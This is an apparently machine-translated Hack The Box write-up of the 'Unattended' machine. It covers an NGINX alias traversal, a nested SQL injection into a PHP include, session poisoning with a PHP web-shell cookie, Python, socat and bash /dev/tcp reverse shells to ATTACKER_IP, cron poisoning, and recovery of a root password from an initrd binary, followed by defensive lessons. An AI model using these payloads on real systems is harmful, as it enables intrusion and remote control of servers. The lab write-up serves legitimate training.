walkthroughs

HTB Unattended Walkthrough: NGINX Alias ​​Bug and Root via LUKS

HTB Unattended Walkthrough: NGINX Alias ​​Bug and Root via LUKS

Hack The Box Unattended full writeup: NGINX alias bug, double SQL injection, LFI, session poisoning, cron poisoning and privilege escalation to root.

  • Posted on 2026-08-11
  • Reading time: 21 min

HTB Unattended Walkthrough: From NGINX Alias ​​Bug to Root via LUKS #

Unattended is a Linux machine from HackTheBox that combines four very different techniques: an NGINX configuration bug to exfiltrate source code, a jammed double SQL injection, an LFI transformed into an RCE via session poisoning, and finally an escalation to root via reverse engineering a custom binary tied to unlocking a LUKS encrypted disk. It's a Medium-level machine, but the reasoning required to connect the various pieces makes it more challenging than the difficulty rating suggests.

In this walkthrough, we break down each step, explaining not only the controls but the reasoning behind each choice.

Initial reconnaissance #

bash
sudo mynmap 10.10.10.126

mynmap This is the custom wrapper for nmap used on these analyses: it automatically performs fast TCP discovery, then scripted service/OS detection, so you don't have to run separate commands for each phase.

text
PORT    STATE SERVICE  VERSION
80/tcp  open  http     nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http nginx 1.10.3
| ssl-cert: Subject: commonName=www.nestedflanders.htb/organizationName=Unattended ltd/stateOrProvinceName=IT/countryName=IT
| Not valid before: 2018-12-19T09:43:58
|_Not valid after:  2021-09-13T09:43:58
|_http-server-header: nginx/1.10.3
|_http-title: Site doesn't have a title (text/html).
|_ssl-date: TLS randomness does not represent time

Only two open ports, both nginx 1.10.3 (HTTP and HTTPS). OS detection, in this case, is unreliable—nmap itself explicitly flags this when it doesn't find at least one closed port on which to base its deductions:

text
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (97%), ...
No exact OS matches for host (test conditions non-ideal).

It's worth dwelling on this, because it's a common mistake to blindly trust nmap's OS detection: here, the tool even suggests “MikroTik RouterOS” with the same confidence level as “generic Linux”—a blatantly incorrect assumption on a HTB machine, which, as we'll see, is a perfectly normal Debian installation. The technical reason is precisely what nmap reports in the warning: OS fingerprinting relies largely on analyzing TCP responses from an open port compared to a closed port —here, with only open ports visible and no firewalled/closed ports to compare, the fingerprint loses much of its statistical basis and degenerates into a simple list of “equally compatible” systems based on the limited data collected. The practical lesson: when nmap explicitly warns about “non-ideal” test conditions, high OS guess percentages should be interpreted as noise, not as data on which to build attack hypotheses.

The TLS certificate for port 443, on the other hand, is much more useful: it reveals a precise common name, www.nestedflanders.htb. This should be added to the hosts file along with the variant without www., because without the correct hostname the nginx server responds with a blank page (typical behavior of name-based virtual hosting).

With the domain configured, a directory scan with gobuster (low competition, because the target seems to suffer under load) finds two useful paths:

text
/index.php (Status: 200)
/dev (Status: 301)

/index.php shows a minimal site with three pages (main, about, contact), each called via a parameter ?id=. /dev It only returns a text message: the development site has been moved to another server. A fuzzing of the subdomains doesn't find anything. dev.nestedflanders.htb It does not exist as a separate vhost.

The NGINX alias bug #

When a path claims to have been “moved elsewhere” but subdomain fuzzing fails, it’s worth asking whether the folder actually still exists on the same host, simply unreachable via direct routes. This is exactly the case described by Orange Tsai in the BlackHat 2018 presentation Breaking Parser Logic : when an NGINX alias is configured without a trailing slash, it’s possible to “exit” the folder with a masked path traversal.

A rapid test confirms the pattern:

bash
curl -s -k -I https://www.nestedflanders.htb/dev../ 

This returns a 403, an abnormal behavior that indicates the presence of a bug. Going further:

bash
curl -s -k -I https://www.nestedflanders.htb/dev../html/index.php

returns 200 OK — while a “normal” traversal (dev/../html/index.php) fails with 404. The difference is in how NGINX internally normalizes the alias path before passing it to the filesystem: dev../ It is not treated as “go up a directory into dev”, but as a literal string that, concatenated to the base of the alias, points outside the expected directory.

With a full GET request (not just the HEAD), you get the plaintext PHP source code. This happens because that particular NGINX location isn't configured to pass requests to the PHP interpreter—it therefore returns the file as static text instead of executing it.

The exact same result is achieved with the URL-encoding of the dot (%2e):

bash
curl -s -k https://www.nestedflanders.htb/dev.%2e/html/index.php

NGINX decryption %2e in . before processing the location, so the behavior is identical—it's just a different notation for the same bug. It's worth clearing up a common misunderstanding: this technique it is not related a CVE-2021-41773 (Apache HTTP Server path traversal), which specifically affects versions 2.4.49 and 2.4.50 via a flaw in Apache's internal path normalization. The problem here is root-level, in the NGINX alias configuration, and affects all versions of the software.

Understanding SQL injection starting from index.php, without taking anything for granted #

Even before looking at the retrieved PHP source, SQL injection can be noticed simply by observing how the site behaves. The three pages are reached like this:

text
index.php?id=25   → pagina "main"
index.php?id=465  → pagina "about"
index.php?id=587  → pagina "contact"

The simplest and most effective test to understand if a parameter such as id ends up inside an unchecked SQL query is to add a single quote (') at the end of the value:

text
index.php?id=25'

Why the apex? Because in the code, behind the scenes, the value of id It is pasted into a SQL query between two quotes, something like this:

sql
SELECT name FROM idname where id = '25'

If the site takes your input and puts it literally inside that query without any cleanup, by adding a quote you “break” the syntax of the query: it becomes id = '25'' —an extra quotation mark, which in SQL is a syntax error. A healthy website, one that handles errors well, should react predictably to this type of disruption: a visible SQL error, a 500 page, a 404, or something different from normal behavior.

On Unattended, however, something more subtle and therefore interesting happens: the page doesn't error. It simply changes content, returning to the "main" page instead of the expected one. This is a very strong signal, even more useful than a real error: it means that the code, when the query fails (because of our apex), doesn't crash—it simply falls back to a default value. And this "silent" behavior is precisely what's needed for a technique called blind SQL injection : we never see the actual SQL error, but we can deduce whether our Boolean condition is true or false by observing which page is returned.

To verify this, you can build a test like this:

text
index.php?id=587' and 1=1-- -

About 1=1 This is always true. If the site continues to display the "contact" page (which corresponds to id 587), it means that the query was reconstructed correctly and the Boolean condition we injected is actually evaluated by the database. If instead we try:

text
index.php?id=587' and 1=2-- -

with 1=2 always false, the site returns to the "main" page. This confirms 100% that the parameter id It's vulnerable: we can inject arbitrary SQL conditions and "read" the result by observing which page is displayed. From here, we can already set up a script that, character by character, extracts information from the database (for example, the version with substring(@@version,1,1)='...'), or rely on a tool like sqlmap to automate the entire database enumeration process.

Source Analysis and Nested SQL Injection #

The recovered code reveals two key functions. Before reading them, a little clarification for those who don't know PHP every day: a "function" is simply a piece of code you give a name to, which takes input between parentheses and ultimately returns a result with returnThat result can be used immediately afterwards, elsewhere in the code, as if it were any other value.

php
function getTplFromID($conn) {
    global $debug;
    $valid_ids = array (25,465,587);
    if ( (array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id']) && (in_array(intval($_GET['id']),$valid_ids)) ) {
        $sql = "SELECT name FROM idname where id = '".$_GET['id']."'";
    } else {
        $sql = "SELECT name FROM idname where id = '25'";
    }
    // ...
    return $ret;
}

function getPathFromTpl($conn,$tpl) {
    global $debug;
    $sql = "SELECT path from filepath where name = '".$tpl."'";
    // ...
    return $ret;
}

$tpl = getTplFromID($conn);
$inc = getPathFromTpl($conn,$tpl);

$tpl = getTplFromID($conn); call the first function and save its result in $tpl. $inc = getPathFromTpl($conn,$tpl); take that $tpl and passes it to the second function, saving its result in $inc. Further on in the file is the line that makes everything dangerous: include("$inc");. In PHP, include() takes a file and runs it as if its contents were part of the program itself — it doesn't just display it, it performs. And here it is called on $inc, a value that, as we will see, an external user can completely manipulate.

The first obstacle to getting there is control intval($_GET['id']) == $_GET['id']This seems like a serious check, but it hides a classic PHP problem. intval() takes a string and extracts only the initial numeric part, discarding the rest: intval("25 qualcosa") returns 25The problem is double equals ==: in PHP compares two values ​​by converting them to the same type before the comparison, instead of requiring them to be identical. So 25 == "25 qualcosa" results true, because PHP converts the string to number and compares 25 with 25It would be enough to use triple equals === (which claims same type e same value) to block this trick. It is the same type of trap described in our in-depth analysis on SQL injection: A control that appears to validate input actually lets it pass, as long as it starts with a valid digit.

The interesting point is that these are two queries chained together , one after the other:

text
id (tuo input)  →  Query 1 (getTplFromID)  →  $tpl  →  Query 2 (getPathFromTpl)  →  $inc

You, in the URL, only touch Query 1. Its result ($tpl) then becomes the input for Query 2, which you never see directly. To control what goes inside $inc — and so what is included and executed by the server — requires an injection that, inside Query 1, result in a second injection, ready to fire when it ends up inside Query 2. It's an injection within another injection, which is why the payload looks so complicated:

text
587' and 1=2 UNION select 'hackita\' union select \'/etc/passwd\'-- -'-- -

Let's break it down piece by piece, calmly:

  • 587' — closes the apex of the original Query 1, so we can add our own SQL right after it.
  • and 1=2 — this condition is always false. It serves to "cancel" the part of the query written by the programmer, so that the only result returned is the one we write with the UNION SELECT immediately after. Without this piece, we would risk getting mixed results between the real one (written by the dev) and our own.
  • UNION select 'hackita\' union select \'/etc/passwd\' —this is the part that becomes $tplFrom the outside it looks like just any string, but it already contains a second string inside it. union select complete, with the apexes “broken” (\') specifically so as not to close immediately. When this string arrives inside Query 2 (SELECT path from filepath where name = '$tpl'), those masked apexes they reactivate like real SQL quotes, because then they are simply concatenated into a new query.
  • -- - (the first one) — comment out the rest of the original Query 1, so that the closing quote that PHP code automatically adds at the end of the line doesn't break everything.
  • '-- - (the second one, at the end) — exact same function, but for Query 2: comment out the automatic closing quote of that second query.

In practice: the first level of injection is only useful to "deliver" a second payload to the next query, which is the one that really decides the value of $incChanging /etc/passwd with the path to the PHP session file (seen in the next section), this same mechanism becomes the key to transforming LFI into RCE.

From LFI to RCE via session poisoning #

At this point $inc is completely under control: we can point theinclude() to any path we choose via the double SQL injection seen above. A “trivial” LFI would stop here, reading files already present on the server (such as /etc/passwd, just to prove that it works). But to turn it into code execution We need a file that contains our own PHP code — and this is where a PHP-specific mechanism comes into play: session files.

How PHP sessions work, in a nutshell. Every time a browser (or curl) makes a request to a PHP site that uses session_start(), the server creates (or reuses) a file on the disk, inside a folder like /var/lib/php/sessions/The file name is always sess_ followed by the cookie value PHPSESSID which identifies the session. Inside this file, PHP saves all the variables that the site puts in $_SESSION — for example, if you're logged in, your username is written in there.

Now let's see what the site's code does with the cookies we send it:

php
session_start();
if (isset($_SESSION['user_name'])){
    $user_name = $_SESSION['user_name'];
}

foreach ($_COOKIE as $key => $val) {
    $_SESSION[$key] = $val;
}

Let's go line by line, calmly.

session_start(); starts (or resumes) the PHP session for this request — this is the first mandatory step before you can use $_SESSION.

foreach ($_COOKIE as $key => $val) it's a cycle that flows all cookies that the client sent in the request, one at a time. At each round, $key takes the name of the cookie and $val takes his valueFor example, if we send the cookie tema=scuro, on that tour $key vale "tema" e $val vale "scuro".

$_SESSION[$key] = $val; takes that name and that value and puts them there copy identical inside the session array. So the cookie tema=scuro becomes, within the session, $_SESSION['tema'] = 'scuro'.

The problem is that this loop doesn't perform any checks : it doesn't check which cookie names are allowed (no whitelist), and it doesn't check what the value contains. Any cookie we send, with any name and any content, is copied verbatim into the session—and the session, as we've seen, is written to a real file on the server's disk.

This opens up a specific possibility: if we send a cookie whose value is actual PHP code, like:

text
shell=<?php system($_GET['cmd']); ?>

That code ends up written, as text, inside our session file on the server — it doesn't get executed at that moment, it's just saved in there as if it were any other piece of text.

At this point the two bugs meet. They alone aren't enough: SQL injection makes us choose. which file include, but do not control what's written inside; the cookie writes PHP code to a file, but that file alone is never executed by anyone. Together, however, they work: we aim $inc (via double SQLi) exactly to the path of our session file:

text
/var/lib/php/sessions/sess_<PHPSESSID>

and when the line include("$inc"); further on in the code opens that file, PHP doesn't read it as plain text — it performs as if it were the site's code itself, because include() It does exactly this with any file you pass to it. Inside that file is our <?php system($_GET['cmd']); ?>, so from then on we can execute commands on the server by passing a GET parameter cmd:

bash
curl -k "https://www.nestedflanders.htb/index.php?cmd=id&id=587'+AND+1=2+UNION+SELECT+'x\'+union+select+\'/var/lib/php/sessions/sess_XXXXX\'--+-'--+-" \
  -H "Cookie: PHPSESSID=XXXXX; shell=<?php system(\$_GET['cmd']); ?>"

This gives RCE as a user www-data.

From single command to interactive shell. Run one command at a time via ?cmd= It's inconvenient. The next step is to get a real shell. A convenient way is if Python is available on the target (check first with which python python3), is to pass the parameter cmd with a Python script that opens a network connection to your machine and returns a full interactive shell via pty.spawn:

text
cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'

With a listener listening on your machine:

bash
nc -lvnp PORT

you get an interactive bash shell like www-data. If Python is not present on the target (it happens, and it is always good to check before taking the environment for granted), an equally valid alternative is socat, if available:

bash
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:443

listening with:

bash
socat file:`tty`,raw,echo=0 tcp-listen:443,reuseaddr

Both paths lead to the same result: a full tty, instead of a “blind” shell with no signal handling and no tab-completion.

Escalation to a second user via cron poisoning #

With shell as www-data, the database credentials are visible directly in the PHP source retrieved previously. By connecting to the database (see our guide on MySQL on port 3306 for context on the protocol), the table config of the database neddy contains a particularly interesting entry:

text
| 86 | checkrelease | /home/guly/checkbase.pl;/home/guly/checkplugins.pl; |

The name and structure (two scripts concatenated by ;) strongly suggest that this value is executed periodically by an automatic process — most likely a cron job running as the user guly, owner of those scripts. Updating that field with an arbitrary command:

sql
UPDATE config SET option_value = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" WHERE id=86;

and observing the value return to the default after about a minute, confirms periodic execution. A listening listener receives a shell like guly.

System hardening: hidepid and noexec #

Before proceeding with the actual privilege escalation, it is worth calmly noting two hardening measures applied on this machine, because they change the way the system should be enumerated.

hidepid=2. Looking at how it's assembled /proc:

bash
mount | grep ^proc
text
proc on /proc type proc (rw,relatime,hidepid=2)

/proc is a special Linux folder that doesn't contain "normal" files, but live information about every process running on the system — each process has its own subfolder with readable data there. Commands like ps they don't really “know” who is running on the system: they simply read the contents of /proc and show it formatted. The option hidepid=2 tells the kernel: show each user only information about own processes, hiding those of all the others.

The practical consequence is that ps aux (o ps awuxx) only shows your own user's processes, and this makes a tool like this is useless pspy, widely used in Linux privilege escalation to observe in real time what root is executing (for example commands launched by cron). With hidepid=2 active, pspy simply doesn't see anything root is doing. This is a good example of how permissions assigned to Linux groups and filesystem configuration may block otherwise standard enumeration techniques.

noexec on tmp, dev/shm, and var/tmp. Checking the directories typically used to write temporary files:

bash
mount | grep -e "tmp " -e shm
text
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,noexec)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /var/tmp type tmpfs (rw,nosuid,nodev,noexec,relatime)

The option noexec does not prevent to write files in those folders — you can safely copy a binary or script there — but it prevents execute them directly from there, even if you have permission x on the file. This is a very common block designed to make it more difficult to execute payloads downloaded or generated during an attack.

When /tmp, /dev/shm e /var/tmp They're all locked. The right question to ask is: is there a folder somewhere else where I have both write and execute permissions? This command answers that question precisely by combining two checks:

bash
for d in $(find / -writable -type d 2>/dev/null); do
  mount | grep " $(df --output=target "$d" 2>/dev/null | tail -1) " | grep -qv noexec && echo "$d"
done

Let's see what it does step by step. find / -writable -type d 2>/dev/null searches the entire filesystem for folders where your user has write permission, discarding permission denied errors (2>/dev/null). The for iterates through each of these folders one at a time, placing it in $d. For each folder, df --output=target "$d" returns the mount point to which that folder belongs — that is, on which “virtual disk” it is actually located, since a folder inside /tmp belongs to the mount point /tmp, not to itself. The result is then searched within the output of mount, and is controlled with grep -qv noexec if that line immense contains the word noexec. If the folder is writable e it is on a mount without noexec, the path is printed: it is a good candidate where to place and execute your scripts.

Privilege Escalation to Root: The Grub Group and the Initrd #

The first useful clue comes from the output of id:

text
uid=1000(guly) gid=1000(guly) groups=1000(guly),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),47(grub),108(netdev)

Among the groups listed, grub noticeable: it is not one of the standard groups you would expect on a clean Debian installation (unlike cdrom, audio, video, which are very normal). A practical way to orient yourself on which Linux groups are "system" and which ones could instead hide a privilege escalation vector is our in-depth study on Linux groups and privilege escalation —the underlying logic is always the same: an unusual group, associated with your user, usually exists to give you access to something specific, and it's worth asking what that access is.

Let's then look for which files belong to that group:

bash
find / -group grub 2>/dev/null

The command essentially says: “search the entire filesystem (/) files owned by the group grub”. The result shows read access to several files initrd.img-* in /boot, normally readable only by root.

What is an initrd, explained in no time. A file with the extension .img It is, in general, an “image” — a single file that contains within itself an entire miniature filesystem (folders, subfolders, files), a bit like a zip file but designed to be mounted and used as if it were a real disk, not just extracted. When a Linux system boots, the kernel can't immediately mount the actual disk, because sometimes drivers or preliminary steps (for example, unlocking an encrypted disk) are needed before the main filesystem is even available. Therefore, the kernel loads one of these image files first: theinitrd (initial ramdisk), which contains a “miniature” version of a Linux system — with its own folders bin, etc, lib, sbin — plus the bare minimum of programs and scripts to complete the startup.

What is LUKS and why does it matter here. Looking at how the disks are organized with lsblk:

text
NAME           MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT
sda              8:0    0    4G  0 disk  
├─sda1           8:1    0  285M  0 part  /boot
└─sda2           8:2    0  3.7G  0 part  
  └─sda2_crypt 254:0    0  3.7G  0 crypt /

the main system partition (/, the Linux equivalent of C:\ (Windows) is not directly connected to the physical disk, but passes through a layer called sda2_crypt, marked as crypt. This means that the entire disk is encrypted with LUKS (Linux Unified Key Setup), the Linux standard for disk encryption.

The advantage of encrypting an entire disk is conceptually simple: if someone physically steals the disk (or the entire computer) and tries to read its contents by connecting it to another machine, without the correct password, they'll only see unreadable data—not the Windows/Linux installation, not the files, nothing. It's a protection against physical theft or unauthorized access to the media, not against network attacks: whoever physically possesses the disk but doesn't have the password is locked out. This is why systems with sensitive data, or machines that can be seized/stolen, often adopt this protection—it's common, for example, among those who want to protect data even in the event of forensic analysis following a seizure.

The practical problem is: if the entire disk is locked by a password, how does the system start by itself, without someone typing it in by hand every time (hence the name of the machine, Unattended, “unattended”)? The answer must be found somewhere in the boot process — and that's precisely why read access to files initrd (thanks to the group grub) gets interesting: that's where the automatic unlocking logic is located.

Putting the two clues together — we can read the system boot files (initrd, through the group grub), and the root disk is encrypted and needs to unlock itself — the next step is obvious: we open the initrd and look for the script that handles that unlocking.

Unzipping and extracting the archive. The file .img It is compressed with gzip, so it must be uncompressed first, and the result is an archive in format cpio (a different storage format than tar, so you need the right tool to extract it):

bash
zcat /boot/initrd.img-4.9.0-8-amd64 > /tmp/initrd.cpio
cpio -idm < /tmp/initrd.cpio

The result is a complete mini filesystem, with folders bin, etc, lib, sbin as on a normal system, plus a non-standard folder called scripts — this is the folder that contains the boot logic specific to this system (the other folders are generic programs/libraries, common to any Debian installation). Inside scripts there are several subfolders (init-top, local-bottom, local-premount, local-top, etc.), each corresponding to a different phase of the boot process. The file we are interested in is found by name, not by intuition about the folder: inside local-top there is a file literally called cryptroot — the name itself says what it does, “root crypt management” (i.e. unlocking the partition / (encrypted). It is the only file, among all those present, whose name is explicitly linked to disk encryption.

Within scripts/local-top/cryptroot There is a block of code outside the Debian standard, recognizable by a comment with a personal signature:

bash
if [ ! -e "$NEWROOT" ]; then
  # guly: we have to deal with lukfs password sync when root changes her one
  if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
    /sbin/uinitrd c0m3s3f0ss34nt4n1 | $cryptopen ; then
    message "cryptsetup: cryptsetup failed, bad password or options?"
    sleep 3
    continue
  fi
fi

/sbin/uinitrd It is not a standard binary: it was added specifically by the creator of the machine. Its output, piped to cryptsetup, acts as a password to unlock the encrypted disk. By copying the binary to an executable location (not /tmp, because of the noexec seen above) and running it with the hardcoded argument found in the script:

bash
cp sbin/uinitrd /var/www/html/uinitrd
chmod +x /var/www/html/uinitrd
/var/www/html/uinitrd c0m3s3f0ss34nt4n1

The binary prints a hash that is, literally, the root user's password. With that:

bash
su -

you get a shell as root.

How the password is built internally (reverse engineering with Ghidra) #

Once you have the password and run the exploit, a legitimate question remains: how does he do it? uinitrd to generate that exact string? Answering isn't necessary to complete the machine, but it's a great reverse engineering exercise — and it's also a way to understand because the binary, if you copy and run it on another machine outside of Unattended, returns a completely different output (“bullshit”) instead of the real password.

The first step, before even opening a disassembler, is to collect basic information about the file with the command file:

bash
file uinitrd
text
uinitrd: ELF 64-bit LSB executable, x86-64, statically linked, ... stripped

Two details are very important here. Statically linked means that the binary already includes all the functions of the libraries it uses (such as hashing functions), rather than loading them from external shared libraries—it's larger, but also more "autonomous" to analyze, because all the relevant code is within the file itself. Stripped means that debugging information (function and variable names) that normally help with orientation have been removed: you therefore have to manually identify what each function does, usually starting from the text strings present in the binary.

Opening the file with Ghidra (a free disassembler, an open source alternative to IDA Pro) and looking at the Defined Strings window (Window → Defined Strings), some lines immediately catch the eye:

text
Location    String Value    XREF
0049e346    /etc/hostname   FUN_0040103e:0040107d
0049e354    /boot/guid      FUN_0040103e:0040115a
0049e364    supercazzola    FUN_0040103e:00401289

The XREF (cross-reference) column tells you which function and at what exact address each string is used. All three appear in the same function, FUN_0040103e —is the first concrete clue that this function is the heart of the program: it reads those two files and, under some conditions, prints "supercazzola". From here it opens FUN_0040103e in the Decompiler to read the logic line by line.

Continuing the analysis of the decompiled code, the complete logic that emerges is: the program reads its hostname from /etc/hostname, reads an identifier (GUID) from /boot/guid, concatenate these two values ​​with the fixed string antani, adds the argument passed from the command line at the end (in our case c0m3s3f0ss34nt4n1), and passes the entire resulting string to a hashing function (the format of the final output—a 40-character hexadecimal string—is consistent with a SHA1 digest, although a more thorough assembly-level verification would be beyond the scope of this article). The result, printed in hexadecimal, is the password that unlocks the disk.

Reading the decompiled code step by step #

Opening the main function in Ghidra's Decompiler, the code looks something like this (the variable names are automatically generated, since the binary is stripped):

c
local_518 = 0x54534554;
local_18 = FUN_00417c60("/etc/hostname",&DAT_0049e344);
if (local_18 != 0) {
    lVar3 = FUN_00417980(&local_518,1000,local_18);
    if (lVar3 != 0) {
        FUN_00400fde(&local_518);
    }
    FUN_00417590(local_18);
}

Let's take it slowly, one line at a time.

local_518 = 0x54534554; — this hexadecimal number, if you read its bytes as characters, corresponds to the text "TEST". It's just an initial padding value, before the variable is overwritten with the real data. An interesting detail here: reading the bytes in the order they appear in the number (54 53 45 54) you would get “TSET”, not “TEST” — because x86 CPUs save multi-byte numbers in memory on the contrary (convention called little-endian): the last byte of the value is written first. Reordering them correctly (54 45 53 54) you get “TEST”.

local_18 = FUN_00417c60("/etc/hostname",&DAT_0049e344); DAT_0049e344 It's that single byte seen earlier in the string window, value 72h, that is, the character "r". This call, then, is of the form “open this file in read mode” — exactly the behavior of the standard C function fopen()Ghidra does not know the original name (removed by stripping), so it displays it with a generic name like FUN_00417c60, but the behavior coincides.

if (local_18 != 0) { ... } fopen() Returns 0 (NULL) if the opening fails. This check says: "Only if the file was opened successfully, proceed to reading it."

lVar3 = FUN_00417980(&local_518,1000,local_18); — reads up to 1000 bytes from the newly opened file (local_18) and writes them inside local_518, overwriting the initial “TEST” with the real content of /etc/hostnameThis is the behavior of fread()The value 1000 It's a security limit: it reads a maximum of 1000 bytes, no more — this is exactly the kind of explicit limit, absent in functions like strcpy() o gets(), to prevent a buffer overflow at this point.

FUN_00400fde(&local_518); — called on what was just read. Opening this function separately, its code is:

c
void FUN_00400fde(char *param_1)
{
    char *local_20;
    char *local_10;

    local_20 = param_1;
    local_10 = param_1;
    while (*local_20 != '\0') {
        if ((*local_20 == '\t') || (*local_20 == '\n')) {
            local_20 = local_20 + 1;
        }
        else {
            *local_10 = *local_20;
            local_20 = local_20 + 1;
            local_10 = local_10 + 1;
        }
    }
    *local_10 = '\0';
}

In practice, this function scrolls through the text character by character and remove tabs (\t) and return to the line (\n), repacking the rest — is a typical cleanup for content read from a file, which often results in an unwanted final carriage return before being used in a calculation. It is used twice: once on the hostname just read, once on the contents of /boot/guid further on in the function.

FUN_00417590(local_18); — at this point the file contents have already been read and cleaned, so the file is closed: behavior of fclose().

The exact same sequence (fopen → successful check → fread up to a limit → character cleaning → fclose) is repeated immediately after for /boot/guid, but with a crucial difference in control:

c
local_18 = FUN_00417c60("/boot/guid",&DAT_0049e344);
if (local_18 == 0) {
    FUN_00417200("supercazzola");
}
else {
    lVar3 = FUN_00417980(local_908,1000,local_18);
    if (lVar3 != 0) {
        FUN_00400fde(local_908);
    }
    FUN_00417590(local_18);
    /* ... concatenazione con "antani" e calcolo hash ... */
}

Here the control is reversed with respect to /etc/hostname: Is local_18 == 0 (that is fopen() failed because the file does not exist), the program prints directly "supercazzola" and it stops — it doesn't enter the branch else where everything else happens (concatenation with antani and calculating the final hash). This explains why running the binary on any Kali, where /boot/guid it simply doesn't exist, the result is always "bullshit": the ingredient that triggers the real calculation is missing.

To verify this concretely, just create the file by hand and observe the change in behavior:

bash
./uinitrd c0m3s3f0ss34nt4n1
# supercazzola

sudo touch /boot/guid
./uinitrd c0m3s3f0ss34nt4n1
# 46b8c9f88086afb0982f52376efe925928e6b8f  (hash calcolato, ma con contenuto vuoto/sbagliato)

Even just creating the empty file changes the behavior — it stops printing "bullshit" and produces a hash, although it is still incorrect (because the content is not the right one). This experimentally confirms, without any doubt, that this is precisely the condition. local_18 == 0 to decide which of the two branches is executed.

Experimental verification #

At this point, rather than just relying on reading the code, it makes sense to verify the behavior experimentally: by hand-creating the same files on a Kali machine, with the same content found on Unattended, and observing whether the binary actually produces the same password.

bash
echo -n 'unattended' > /etc/hostname
echo -n 'C0B604A4-FE6D-4C14-A791-BEB3769F3FBA' > /boot/guid
./uinitrd c0m3s3f0ss34nt4n1

The result is, byte for byte, identical to the root password obtained on the real machine: 132f93ab100671dcb263acaf5dc95d8260e8b7c6This experimentally confirms the entire chain of reasoning made by reading the decompiled code: hostname and GUID are really the only two variable "ingredients" in the calculation, and knowing them allows the password to be reconstructed offline, without ever having to run the binary directly on the target.

This exercise, besides being a good reverse engineering practice, highlights a concrete defense principle: deriving a password from partially predictable and hardcoded values ​​in a binary distributed with the system is risky . Anyone who gains read access to that binary—here, due to a misconfigured group permission—can, with time and patience, reconstruct the entire logic and calculate the password independently, without ever having to "steal" it directly.

Defensive lessons #

Some concrete points that, on the blue team side, would have interrupted this attack chain at several points:

  • NGINX Alias ​​Configuration: always check that each alias in NGINX location you end with slash, or prefer root instead of alias where possible, to avoid Orange Tsai's off-by-slash.
  • Server-side input validation: intval($x) == $x This is not a type-safe check in PHP — it should always be used. ===, or an explicit validation with preg_match on a rigorous numerical pattern.
  • Parameterized queries: the entire SQL injection chain would have been impossible with prepared statements instead of string concatenation.
  • Session data whitelist: popular $_SESSION da $_COOKIE Without control over keys and contents, it is equivalent to granting arbitrary write access to the server-side session file.
  • Group permissions on boot files: a custom group with read access to files initrd (or any root-only asset) should always be viewed with suspicion when hardening.
  • No hardcoded secrets in distributed binaries, especially if those binaries mistakenly end up in paths readable by non-privileged users.

FAQ #

Is the NGINX alias technique a specific CVE? No. It's a configuration issue (aliasing without the trailing slash), not a bug in a specific version of NGINX. It's different from, for example, CVE-2021-41773/CVE-2021-42013, which are path normalization flaws internal to Apache HTTP Server 2.4.49/2.4.50.

Why %2e produces the same result as ..? Why %2e It is simply the URL encoding of the dot character (.). NGINX decodes the request before evaluating the location, then dev.%2e/ e dev../ are treated identically.

You always need a cron job to use a configuration field like checkrelease? In this case, yes—the value alone in the database wouldn't do anything; it's the periodic execution on the system side (probably a cron job or a timer) that makes it a code execution vector. Before using it, it's always a good idea to check whether the value is "reset" over time, a sign that something is rereading and executing it.

Why add a simple superscript (') to the URL is enough to notice SQL injection? Because in code, the value you write in the URL is pasted into a SQL query between two quotes. If the site doesn't "clean" it before using it, your extra quote breaks the query syntax—and by observing how the site reacts to that breakage (error, different page, strange behavior), you can determine if the parameter is vulnerable, even before reading a line of source code.

A file .img is it always related to system boot? No, .img It's just a generic extension for "filesystem image"—you can find it for virtual DVDs, disk backups, embedded system images, and more. In this specific case, it's an initrd, which is an image used specifically for booting, but the format itself doesn't automatically imply that context.

Why hidepid=2 makes it useless pspy? Why pspy is based on the reading of /proc to observe other users' running processes. With hidepid=2, the kernel hides information about processes not belonging to the current user, so even a tool like pspy he only sees his own processes.

Better Python or socat to stabilize the shell? It depends on what is available on the target: both should always be checked before choosing. If Python is present, the classic one-liner with pty.spawn It's convenient and well-known. If it's missing (as happens more often than you might think in minimal environments), socat is an equally valid alternative — provided it is installed — and has the advantage of natively managing a complete pty without having to do additional steps like stty raw -echo.

#nginx-alias-bug #luxury #ghidra #cron-poisoning #session-poisoning

leave a message

I'm not a robot